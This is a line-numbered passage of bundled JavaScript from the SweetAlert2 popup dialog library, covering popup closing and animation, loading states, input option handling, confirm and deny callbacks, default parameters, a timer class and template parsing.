  1703. isDismissed: false
  1704. }, resolveValue);
  1705. };
  1706. const handlePopupAnimation = (instance, popup, innerParams) => {
  1707. const container = getContainer();
  1708. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1709. if (typeof innerParams.willClose === "function") {
  1710. innerParams.willClose(popup);
  1711. }
  1712. if (animationIsSupported) {
  1713. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1714. } else {
  1715. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1716. }
  1717. };
  1718. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1719. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1720. popup.addEventListener(animationEndEvent, function(e) {
  1721. if (e.target === popup) {
  1722. globalState.swalCloseEventFinishedCallback();
  1723. delete globalState.swalCloseEventFinishedCallback;
  1724. }
  1725. });
  1726. };
  1727. const triggerDidCloseAndDispose = (instance, didClose) => {
  1728. setTimeout(() => {
  1729. if (typeof didClose === "function") {
  1730. didClose.bind(instance.params)();
  1731. }
  1732. if (instance._destroy) {
  1733. instance._destroy();
  1734. }
  1735. });
  1736. };
  1737. const showLoading = (buttonToReplace) => {
  1738. let popup = getPopup();
  1739. if (!popup) {
  1740. new Swal2();
  1741. }
  1742. popup = getPopup();
  1743. const loader = getLoader();
  1744. if (isToast()) {
  1745. hide(getIcon());
  1746. } else {
  1747. replaceButton(popup, buttonToReplace);
  1748. }
  1749. show(loader);
  1750. popup.setAttribute("data-loading", "true");
  1751. popup.setAttribute("aria-busy", "true");
  1752. popup.focus();
  1753. };
  1754. const replaceButton = (popup, buttonToReplace) => {
  1755. const actions = getActions();
  1756. const loader = getLoader();
  1757. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1758. buttonToReplace = getConfirmButton();
  1759. }
  1760. show(actions);
  1761. if (buttonToReplace) {
  1762. hide(buttonToReplace);
  1763. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1764. }
  1765. loader.parentNode.insertBefore(loader, buttonToReplace);
  1766. addClass([popup, actions], swalClasses.loading);
  1767. };
  1768. const handleInputOptionsAndValue = (instance, params) => {
  1769. if (params.input === "select" || params.input === "radio") {
  1770. handleInputOptions(instance, params);
  1771. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1772. showLoading(getConfirmButton());
  1773. handleInputValue(instance, params);
  1774. }
  1775. };
  1776. const getInputValue = (instance, innerParams) => {
  1777. const input = instance.getInput();
  1778. if (!input) {
  1779. return null;
  1780. }
  1781. switch (innerParams.input) {
  1782. case "checkbox":
  1783. return getCheckboxValue(input);
  1784. case "radio":
  1785. return getRadioValue(input);
  1786. case "file":
  1787. return getFileValue(input);
  1788. default:
  1789. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1790. }
  1791. };
  1792. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1793. const getRadioValue = (input) => input.checked ? input.value : null;
  1794. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1795. const handleInputOptions = (instance, params) => {
  1796. const popup = getPopup();
  1797. const processInputOptions = (inputOptions) => {
  1798. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1799. };
  1800. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1801. showLoading(getConfirmButton());
  1802. asPromise(params.inputOptions).then((inputOptions) => {
  1803. instance.hideLoading();
  1804. processInputOptions(inputOptions);
  1805. });
  1806. } else if (typeof params.inputOptions === "object") {
  1807. processInputOptions(params.inputOptions);
  1808. } else {
  1809. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1810. }
  1811. };
  1812. const handleInputValue = (instance, params) => {
  1813. const input = instance.getInput();
  1814. hide(input);
  1815. asPromise(params.inputValue).then((inputValue) => {
  1816. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1817. show(input);
  1818. input.focus();
  1819. instance.hideLoading();
  1820. }).catch((err) => {
  1821. error(`Error in inputValue promise: ${err}`);
  1822. input.value = "";
  1823. show(input);
  1824. input.focus();
  1825. instance.hideLoading();
  1826. });
  1827. };
  1828. const populateInputOptions = {
  1829. /**
  1830. * @param {HTMLElement} popup
  1831. * @param {Record<string, any>} inputOptions
  1832. * @param {SweetAlertOptions} params
  1833. */
  1834. select: (popup, inputOptions, params) => {
  1835. const select = getDirectChildByClass(popup, swalClasses.select);
  1836. const renderOption = (parent, optionLabel, optionValue) => {
  1837. const option = document.createElement("option");
  1838. option.value = optionValue;
  1839. setInnerHtml(option, optionLabel);
  1840. option.selected = isSelected(optionValue, params.inputValue);
  1841. parent.appendChild(option);
  1842. };
  1843. inputOptions.forEach((inputOption) => {
  1844. const optionValue = inputOption[0];
  1845. const optionLabel = inputOption[1];
  1846. if (Array.isArray(optionLabel)) {
  1847. const optgroup = document.createElement("optgroup");
  1848. optgroup.label = optionValue;
  1849. optgroup.disabled = false;
  1850. select.appendChild(optgroup);
  1851. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1852. } else {
  1853. renderOption(select, optionLabel, optionValue);
  1854. }
  1855. });
  1856. select.focus();
  1857. },
  1858. /**
  1859. * @param {HTMLElement} popup
  1860. * @param {Record<string, any>} inputOptions
  1861. * @param {SweetAlertOptions} params
  1862. */
  1863. radio: (popup, inputOptions, params) => {
  1864. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1865. inputOptions.forEach((inputOption) => {
  1866. const radioValue = inputOption[0];
  1867. const radioLabel = inputOption[1];
  1868. const radioInput = document.createElement("input");
  1869. const radioLabelElement = document.createElement("label");
  1870. radioInput.type = "radio";
  1871. radioInput.name = swalClasses.radio;
  1872. radioInput.value = radioValue;
  1873. if (isSelected(radioValue, params.inputValue)) {
  1874. radioInput.checked = true;
  1875. }
  1876. const label = document.createElement("span");
  1877. setInnerHtml(label, radioLabel);
  1878. label.className = swalClasses.label;
  1879. radioLabelElement.appendChild(radioInput);
  1880. radioLabelElement.appendChild(label);
  1881. radio.appendChild(radioLabelElement);
  1882. });
  1883. const radios = radio.querySelectorAll("input");
  1884. if (radios.length) {
  1885. radios[0].focus();
  1886. }
  1887. }
  1888. };
  1889. const formatInputOptions = (inputOptions) => {
  1890. const result = [];
  1891. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1892. inputOptions.forEach((value, key) => {
  1893. let valueFormatted = value;
  1894. if (typeof valueFormatted === "object") {
  1895. valueFormatted = formatInputOptions(valueFormatted);
  1896. }
  1897. result.push([key, valueFormatted]);
  1898. });
  1899. } else {
  1900. Object.keys(inputOptions).forEach((key) => {
  1901. let valueFormatted = inputOptions[key];
  1902. if (typeof valueFormatted === "object") {
  1903. valueFormatted = formatInputOptions(valueFormatted);
  1904. }
  1905. result.push([key, valueFormatted]);
  1906. });
  1907. }
  1908. return result;
  1909. };
  1910. const isSelected = (optionValue, inputValue) => {
  1911. return inputValue && inputValue.toString() === optionValue.toString();
  1912. };
  1913. const handleConfirmButtonClick = (instance) => {
  1914. const innerParams = privateProps.innerParams.get(instance);
  1915. instance.disableButtons();
  1916. if (innerParams.input) {
  1917. handleConfirmOrDenyWithInput(instance, "confirm");
  1918. } else {
  1919. confirm(instance, true);
  1920. }
  1921. };
  1922. const handleDenyButtonClick = (instance) => {
  1923. const innerParams = privateProps.innerParams.get(instance);
  1924. instance.disableButtons();
  1925. if (innerParams.returnInputValueOnDeny) {
  1926. handleConfirmOrDenyWithInput(instance, "deny");
  1927. } else {
  1928. deny(instance, false);
  1929. }
  1930. };
  1931. const handleCancelButtonClick = (instance, dismissWith) => {
  1932. instance.disableButtons();
  1933. dismissWith(DismissReason.cancel);
  1934. };
  1935. const handleConfirmOrDenyWithInput = (instance, type) => {
  1936. const innerParams = privateProps.innerParams.get(instance);
  1937. if (!innerParams.input) {
  1938. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1939. return;
  1940. }
  1941. const inputValue = getInputValue(instance, innerParams);
  1942. if (innerParams.inputValidator) {
  1943. handleInputValidator(instance, inputValue, type);
  1944. } else if (!instance.getInput().checkValidity()) {
  1945. instance.enableButtons();
  1946. instance.showValidationMessage(innerParams.validationMessage);
  1947. } else if (type === "deny") {
  1948. deny(instance, inputValue);
  1949. } else {
  1950. confirm(instance, inputValue);
  1951. }
  1952. };
  1953. const handleInputValidator = (instance, inputValue, type) => {
  1954. const innerParams = privateProps.innerParams.get(instance);
  1955. instance.disableInput();
  1956. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1957. validationPromise.then((validationMessage) => {
  1958. instance.enableButtons();
  1959. instance.enableInput();
  1960. if (validationMessage) {
  1961. instance.showValidationMessage(validationMessage);
  1962. } else if (type === "deny") {
  1963. deny(instance, inputValue);
  1964. } else {
  1965. confirm(instance, inputValue);
  1966. }
  1967. });
  1968. };
  1969. const deny = (instance, value) => {
  1970. const innerParams = privateProps.innerParams.get(instance || void 0);
  1971. if (innerParams.showLoaderOnDeny) {
  1972. showLoading(getDenyButton());
  1973. }
  1974. if (innerParams.preDeny) {
  1975. instance.isAwaitingPromise = true;
  1976. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1977. preDenyPromise.then((preDenyValue) => {
  1978. if (preDenyValue === false) {
  1979. instance.hideLoading();
  1980. handleAwaitingPromise(instance);
  1981. } else {
  1982. instance.close({
  1983. isDenied: true,
  1984. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1985. });
  1986. }
  1987. }).catch((error2) => rejectWith(instance || void 0, error2));
  1988. } else {
  1989. instance.close({
  1990. isDenied: true,
  1991. value
  1992. });
  1993. }
  1994. };
  1995. const succeedWith = (instance, value) => {
  1996. instance.close({
  1997. isConfirmed: true,
  1998. value
  1999. });
  2000. };
  2001. const rejectWith = (instance, error2) => {
  2002. instance.rejectPromise(error2);
  2003. };
  2004. const confirm = (instance, value) => {
  2005. const innerParams = privateProps.innerParams.get(instance || void 0);
  2006. if (innerParams.showLoaderOnConfirm) {
  2007. showLoading();
  2008. }
  2009. if (innerParams.preConfirm) {
  2010. instance.resetValidationMessage();
  2011. instance.isAwaitingPromise = true;
  2012. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  2013. preConfirmPromise.then((preConfirmValue) => {
  2014. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  2015. instance.hideLoading();
  2016. handleAwaitingPromise(instance);
  2017. } else {
  2018. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  2019. }
  2020. }).catch((error2) => rejectWith(instance || void 0, error2));
  2021. } else {
  2022. succeedWith(instance, value);
  2023. }
  2024. };
  2025. function hideLoading() {
  2026. const innerParams = privateProps.innerParams.get(this);
  2027. if (!innerParams) {
  2028. return;
  2029. }
  2030. const domCache = privateProps.domCache.get(this);
  2031. hide(domCache.loader);
  2032. if (isToast()) {
  2033. if (innerParams.icon) {
  2034. show(getIcon());
  2035. }
  2036. } else {
  2037. showRelatedButton(domCache);
  2038. }
  2039. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2040. domCache.popup.removeAttribute("aria-busy");
  2041. domCache.popup.removeAttribute("data-loading");
  2042. domCache.confirmButton.disabled = false;
  2043. domCache.denyButton.disabled = false;
  2044. domCache.cancelButton.disabled = false;
  2045. }
  2046. const showRelatedButton = (domCache) => {
  2047. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2048. if (buttonToReplace.length) {
  2049. show(buttonToReplace[0], "inline-block");
  2050. } else if (allButtonsAreHidden()) {
  2051. hide(domCache.actions);
  2052. }
  2053. };
  2054. function getInput() {
  2055. const innerParams = privateProps.innerParams.get(this);
  2056. const domCache = privateProps.domCache.get(this);
  2057. if (!domCache) {
  2058. return null;
  2059. }
  2060. return getInput$1(domCache.popup, innerParams.input);
  2061. }
  2062. function setButtonsDisabled(instance, buttons, disabled) {
  2063. const domCache = privateProps.domCache.get(instance);
  2064. buttons.forEach((button) => {
  2065. domCache[button].disabled = disabled;
  2066. });
  2067. }
  2068. function setInputDisabled(input, disabled) {
  2069. if (!input) {
  2070. return;
  2071. }
  2072. if (input.type === "radio") {
  2073. const radiosContainer = input.parentNode.parentNode;
  2074. const radios = radiosContainer.querySelectorAll("input");
  2075. for (let i = 0; i < radios.length; i++) {
  2076. radios[i].disabled = disabled;
  2077. }
  2078. } else {
  2079. input.disabled = disabled;
  2080. }
  2081. }
  2082. function enableButtons() {
  2083. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2084. }
  2085. function disableButtons() {
  2086. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2087. }
  2088. function enableInput() {
  2089. setInputDisabled(this.getInput(), false);
  2090. }
  2091. function disableInput() {
  2092. setInputDisabled(this.getInput(), true);
  2093. }
  2094. function showValidationMessage(error2) {
  2095. const domCache = privateProps.domCache.get(this);
  2096. const params = privateProps.innerParams.get(this);
  2097. setInnerHtml(domCache.validationMessage, error2);
  2098. domCache.validationMessage.className = swalClasses["validation-message"];
  2099. if (params.customClass && params.customClass.validationMessage) {
  2100. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2101. }
  2102. show(domCache.validationMessage);
  2103. const input = this.getInput();
  2104. if (input) {
  2105. input.setAttribute("aria-invalid", true);
  2106. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2107. focusInput(input);
  2108. addClass(input, swalClasses.inputerror);
  2109. }
  2110. }
  2111. function resetValidationMessage() {
  2112. const domCache = privateProps.domCache.get(this);
  2113. if (domCache.validationMessage) {
  2114. hide(domCache.validationMessage);
  2115. }
  2116. const input = this.getInput();
  2117. if (input) {
  2118. input.removeAttribute("aria-invalid");
  2119. input.removeAttribute("aria-describedby");
  2120. removeClass(input, swalClasses.inputerror);
  2121. }
  2122. }
  2123. const defaultParams = {
  2124. title: "",
  2125. titleText: "",
  2126. text: "",
  2127. html: "",
  2128. footer: "",
  2129. icon: void 0,
  2130. iconColor: void 0,
  2131. iconHtml: void 0,
  2132. template: void 0,
  2133. toast: false,
  2134. showClass: {
  2135. popup: "swal2-show",
  2136. backdrop: "swal2-backdrop-show",
  2137. icon: "swal2-icon-show"
  2138. },
  2139. hideClass: {
  2140. popup: "swal2-hide",
  2141. backdrop: "swal2-backdrop-hide",
  2142. icon: "swal2-icon-hide"
  2143. },
  2144. customClass: {},
  2145. target: "body",
  2146. color: void 0,
  2147. backdrop: true,
  2148. heightAuto: true,
  2149. allowOutsideClick: true,
  2150. allowEscapeKey: true,
  2151. allowEnterKey: true,
  2152. stopKeydownPropagation: true,
  2153. keydownListenerCapture: false,
  2154. showConfirmButton: true,
  2155. showDenyButton: false,
  2156. showCancelButton: false,
  2157. preConfirm: void 0,
  2158. preDeny: void 0,
  2159. confirmButtonText: "OK",
  2160. confirmButtonAriaLabel: "",
  2161. confirmButtonColor: void 0,
  2162. denyButtonText: "No",
  2163. denyButtonAriaLabel: "",
  2164. denyButtonColor: void 0,
  2165. cancelButtonText: "Cancel",
  2166. cancelButtonAriaLabel: "",
  2167. cancelButtonColor: void 0,
  2168. buttonsStyling: true,
  2169. reverseButtons: false,
  2170. focusConfirm: true,
  2171. focusDeny: false,
  2172. focusCancel: false,
  2173. returnFocus: true,
  2174. showCloseButton: false,
  2175. closeButtonHtml: "&times;",
  2176. closeButtonAriaLabel: "Close this dialog",
  2177. loaderHtml: "",
  2178. showLoaderOnConfirm: false,
  2179. showLoaderOnDeny: false,
  2180. imageUrl: void 0,
  2181. imageWidth: void 0,
  2182. imageHeight: void 0,
  2183. imageAlt: "",
  2184. timer: void 0,
  2185. timerProgressBar: false,
  2186. width: void 0,
  2187. padding: void 0,
  2188. background: void 0,
  2189. input: void 0,
  2190. inputPlaceholder: "",
  2191. inputLabel: "",
  2192. inputValue: "",
  2193. inputOptions: {},
  2194. inputAutoFocus: true,
  2195. inputAutoTrim: true,
  2196. inputAttributes: {},
  2197. inputValidator: void 0,
  2198. returnInputValueOnDeny: false,
  2199. validationMessage: void 0,
  2200. grow: false,
  2201. position: "center",
  2202. progressSteps: [],
  2203. currentProgressStep: void 0,
  2204. progressStepsDistance: void 0,
  2205. willOpen: void 0,
  2206. didOpen: void 0,
  2207. didRender: void 0,
  2208. willClose: void 0,
  2209. didClose: void 0,
  2210. didDestroy: void 0,
  2211. scrollbarPadding: true
  2212. };
  2213. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2214. const deprecatedParams = {};
  2215. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2216. const isValidParameter = (paramName) => {
  2217. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2218. };
  2219. const isUpdatableParameter = (paramName) => {
  2220. return updatableParams.indexOf(paramName) !== -1;
  2221. };
  2222. const isDeprecatedParameter = (paramName) => {
  2223. return deprecatedParams[paramName];
  2224. };
  2225. const checkIfParamIsValid = (param) => {
  2226. if (!isValidParameter(param)) {
  2227. warn(`Unknown parameter "${param}"`);
  2228. }
  2229. };
  2230. const checkIfToastParamIsValid = (param) => {
  2231. if (toastIncompatibleParams.includes(param)) {
  2232. warn(`The parameter "${param}" is incompatible with toasts`);
  2233. }
  2234. };
  2235. const checkIfParamIsDeprecated = (param) => {
  2236. const isDeprecated = isDeprecatedParameter(param);
  2237. if (isDeprecated) {
  2238. warnAboutDeprecation(param, isDeprecated);
  2239. }
  2240. };
  2241. const showWarningsForParams = (params) => {
  2242. if (params.backdrop === false && params.allowOutsideClick) {
  2243. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2244. }
  2245. for (const param in params) {
  2246. checkIfParamIsValid(param);
  2247. if (params.toast) {
  2248. checkIfToastParamIsValid(param);
  2249. }
  2250. checkIfParamIsDeprecated(param);
  2251. }
  2252. };
  2253. function update(params) {
  2254. const popup = getPopup();
  2255. const innerParams = privateProps.innerParams.get(this);
  2256. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2257. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2258. return;
  2259. }
  2260. const validUpdatableParams = filterValidParams(params);
  2261. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2262. render(this, updatedParams);
  2263. privateProps.innerParams.set(this, updatedParams);
  2264. Object.defineProperties(this, {
  2265. params: {
  2266. value: Object.assign({}, this.params, params),
  2267. writable: false,
  2268. enumerable: true
  2269. }
  2270. });
  2271. }
  2272. const filterValidParams = (params) => {
  2273. const validUpdatableParams = {};
  2274. Object.keys(params).forEach((param) => {
  2275. if (isUpdatableParameter(param)) {
  2276. validUpdatableParams[param] = params[param];
  2277. } else {
  2278. warn(`Invalid parameter to update: ${param}`);
  2279. }
  2280. });
  2281. return validUpdatableParams;
  2282. };
  2283. function _destroy() {
  2284. const domCache = privateProps.domCache.get(this);
  2285. const innerParams = privateProps.innerParams.get(this);
  2286. if (!innerParams) {
  2287. disposeWeakMaps(this);
  2288. return;
  2289. }
  2290. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2291. globalState.swalCloseEventFinishedCallback();
  2292. delete globalState.swalCloseEventFinishedCallback;
  2293. }
  2294. if (typeof innerParams.didDestroy === "function") {
  2295. innerParams.didDestroy();
  2296. }
  2297. disposeSwal(this);
  2298. }
  2299. const disposeSwal = (instance) => {
  2300. disposeWeakMaps(instance);
  2301. delete instance.params;
  2302. delete globalState.keydownHandler;
  2303. delete globalState.keydownTarget;
  2304. delete globalState.currentInstance;
  2305. };
  2306. const disposeWeakMaps = (instance) => {
  2307. if (instance.isAwaitingPromise) {
  2308. unsetWeakMaps(privateProps, instance);
  2309. instance.isAwaitingPromise = true;
  2310. } else {
  2311. unsetWeakMaps(privateMethods, instance);
  2312. unsetWeakMaps(privateProps, instance);
  2313. delete instance.isAwaitingPromise;
  2314. delete instance.disableButtons;
  2315. delete instance.enableButtons;
  2316. delete instance.getInput;
  2317. delete instance.disableInput;
  2318. delete instance.enableInput;
  2319. delete instance.hideLoading;
  2320. delete instance.disableLoading;
  2321. delete instance.showValidationMessage;
  2322. delete instance.resetValidationMessage;
  2323. delete instance.close;
  2324. delete instance.closePopup;
  2325. delete instance.closeModal;
  2326. delete instance.closeToast;
  2327. delete instance.rejectPromise;
  2328. delete instance.update;
  2329. delete instance._destroy;
  2330. }
  2331. };
  2332. const unsetWeakMaps = (obj, instance) => {
  2333. for (const i in obj) {
  2334. obj[i].delete(instance);
  2335. }
  2336. };
  2337. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2338. __proto__: null,
  2339. _destroy,
  2340. close,
  2341. closeModal: close,
  2342. closePopup: close,
  2343. closeToast: close,
  2344. disableButtons,
  2345. disableInput,
  2346. disableLoading: hideLoading,
  2347. enableButtons,
  2348. enableInput,
  2349. getInput,
  2350. handleAwaitingPromise,
  2351. hideLoading,
  2352. rejectPromise,
  2353. resetValidationMessage,
  2354. showValidationMessage,
  2355. update
  2356. });
  2357. const handlePopupClick = (instance, domCache, dismissWith) => {
  2358. const innerParams = privateProps.innerParams.get(instance);
  2359. if (innerParams.toast) {
  2360. handleToastClick(instance, domCache, dismissWith);
  2361. } else {
  2362. handleModalMousedown(domCache);
  2363. handleContainerMousedown(domCache);
  2364. handleModalClick(instance, domCache, dismissWith);
  2365. }
  2366. };
  2367. const handleToastClick = (instance, domCache, dismissWith) => {
  2368. domCache.popup.onclick = () => {
  2369. const innerParams = privateProps.innerParams.get(instance);
  2370. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2371. return;
  2372. }
  2373. dismissWith(DismissReason.close);
  2374. };
  2375. };
  2376. const isAnyButtonShown = (innerParams) => {
  2377. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2378. };
  2379. let ignoreOutsideClick = false;
  2380. const handleModalMousedown = (domCache) => {
  2381. domCache.popup.onmousedown = () => {
  2382. domCache.container.onmouseup = function(e) {
  2383. domCache.container.onmouseup = void 0;
  2384. if (e.target === domCache.container) {
  2385. ignoreOutsideClick = true;
  2386. }
  2387. };
  2388. };
  2389. };
  2390. const handleContainerMousedown = (domCache) => {
  2391. domCache.container.onmousedown = () => {
  2392. domCache.popup.onmouseup = function(e) {
  2393. domCache.popup.onmouseup = void 0;
  2394. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2395. ignoreOutsideClick = true;
  2396. }
  2397. };
  2398. };
  2399. };
  2400. const handleModalClick = (instance, domCache, dismissWith) => {
  2401. domCache.container.onclick = (e) => {
  2402. const innerParams = privateProps.innerParams.get(instance);
  2403. if (ignoreOutsideClick) {
  2404. ignoreOutsideClick = false;
  2405. return;
  2406. }
  2407. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2408. dismissWith(DismissReason.backdrop);
  2409. }
  2410. };
  2411. };
  2412. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2413. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2414. const argsToParams = (args) => {
  2415. const params = {};
  2416. if (typeof args[0] === "object" && !isElement(args[0])) {
  2417. Object.assign(params, args[0]);
  2418. } else {
  2419. ["title", "html", "icon"].forEach((name, index) => {
  2420. const arg = args[index];
  2421. if (typeof arg === "string" || isElement(arg)) {
  2422. params[name] = arg;
  2423. } else if (arg !== void 0) {
  2424. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2425. }
  2426. });
  2427. }
  2428. return params;
  2429. };
  2430. function fire() {
  2431. const Swal3 = this;
  2432. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2433. args[_key] = arguments[_key];
  2434. }
  2435. return new Swal3(...args);
  2436. }
  2437. function mixin(mixinParams) {
  2438. class MixinSwal extends this {
  2439. _main(params, priorityMixinParams) {
  2440. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2441. }
  2442. }
  2443. return MixinSwal;
  2444. }
  2445. const getTimerLeft = () => {
  2446. return globalState.timeout && globalState.timeout.getTimerLeft();
  2447. };
  2448. const stopTimer = () => {
  2449. if (globalState.timeout) {
  2450. stopTimerProgressBar();
  2451. return globalState.timeout.stop();
  2452. }
  2453. };
  2454. const resumeTimer = () => {
  2455. if (globalState.timeout) {
  2456. const remaining = globalState.timeout.start();
  2457. animateTimerProgressBar(remaining);
  2458. return remaining;
  2459. }
  2460. };
  2461. const toggleTimer = () => {
  2462. const timer = globalState.timeout;
  2463. return timer && (timer.running ? stopTimer() : resumeTimer());
  2464. };
  2465. const increaseTimer = (n) => {
  2466. if (globalState.timeout) {
  2467. const remaining = globalState.timeout.increase(n);
  2468. animateTimerProgressBar(remaining, true);
  2469. return remaining;
  2470. }
  2471. };
  2472. const isTimerRunning = () => {
  2473. return !!(globalState.timeout && globalState.timeout.isRunning());
  2474. };
  2475. let bodyClickListenerAdded = false;
  2476. const clickHandlers = {};
  2477. function bindClickHandler() {
  2478. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2479. clickHandlers[attr] = this;
  2480. if (!bodyClickListenerAdded) {
  2481. document.body.addEventListener("click", bodyClickListener);
  2482. bodyClickListenerAdded = true;
  2483. }
  2484. }
  2485. const bodyClickListener = (event) => {
  2486. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2487. for (const attr in clickHandlers) {
  2488. const template = el.getAttribute(attr);
  2489. if (template) {
  2490. clickHandlers[attr].fire({
  2491. template
  2492. });
  2493. return;
  2494. }
  2495. }
  2496. }
  2497. };
  2498. var staticMethods = /* @__PURE__ */ Object.freeze({
  2499. __proto__: null,
  2500. argsToParams,
  2501. bindClickHandler,
  2502. clickCancel,
  2503. clickConfirm,
  2504. clickDeny,
  2505. enableLoading: showLoading,
  2506. fire,
  2507. getActions,
  2508. getCancelButton,
  2509. getCloseButton,
  2510. getConfirmButton,
  2511. getContainer,
  2512. getDenyButton,
  2513. getFocusableElements,
  2514. getFooter,
  2515. getHtmlContainer,
  2516. getIcon,
  2517. getIconContent,
  2518. getImage,
  2519. getInputLabel,
  2520. getLoader,
  2521. getPopup,
  2522. getProgressSteps,
  2523. getTimerLeft,
  2524. getTimerProgressBar,
  2525. getTitle,
  2526. getValidationMessage,
  2527. increaseTimer,
  2528. isDeprecatedParameter,
  2529. isLoading,
  2530. isTimerRunning,
  2531. isUpdatableParameter,
  2532. isValidParameter,
  2533. isVisible,
  2534. mixin,
  2535. resumeTimer,
  2536. showLoading,
  2537. stopTimer,
  2538. toggleTimer
  2539. });
  2540. class Timer {
  2541. /**
  2542. * @param {Function} callback
  2543. * @param {number} delay
  2544. */
  2545. constructor(callback, delay) {
  2546. this.callback = callback;
  2547. this.remaining = delay;
  2548. this.running = false;
  2549. this.start();
  2550. }
  2551. /**
  2552. * @returns {number}
  2553. */
  2554. start() {
  2555. if (!this.running) {
  2556. this.running = true;
  2557. this.started = /* @__PURE__ */ new Date();
  2558. this.id = setTimeout(this.callback, this.remaining);
  2559. }
  2560. return this.remaining;
  2561. }
  2562. /**
  2563. * @returns {number}
  2564. */
  2565. stop() {
  2566. if (this.started && this.running) {
  2567. this.running = false;
  2568. clearTimeout(this.id);
  2569. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2570. }
  2571. return this.remaining;
  2572. }
  2573. /**
  2574. * @param {number} n
  2575. * @returns {number}
  2576. */
  2577. increase(n) {
  2578. const running = this.running;
  2579. if (running) {
  2580. this.stop();
  2581. }
  2582. this.remaining += n;
  2583. if (running) {
  2584. this.start();
  2585. }
  2586. return this.remaining;
  2587. }
  2588. /**
  2589. * @returns {number}
  2590. */
  2591. getTimerLeft() {
  2592. if (this.running) {
  2593. this.stop();
  2594. this.start();
  2595. }
  2596. return this.remaining;
  2597. }
  2598. /**
  2599. * @returns {boolean}
  2600. */
  2601. isRunning() {
  2602. return this.running;
  2603. }
  2604. }
  2605. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2606. const getTemplateParams = (params) => {
  2607. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2608. if (!template) {
  2609. return {};
  2610. }
  2611. const templateContent = template.content;
  2612. showWarningsForElements(templateContent);
  2613. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2614. return result;
  2615. };
  2616. const getSwalParams = (templateContent) => {
  2617. const result = {};
  2618. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2619. swalParams.forEach((param) => {
  2620. showWarningsForAttributes(param, ["name", "value"]);
  2621. const paramName = param.getAttribute("name");
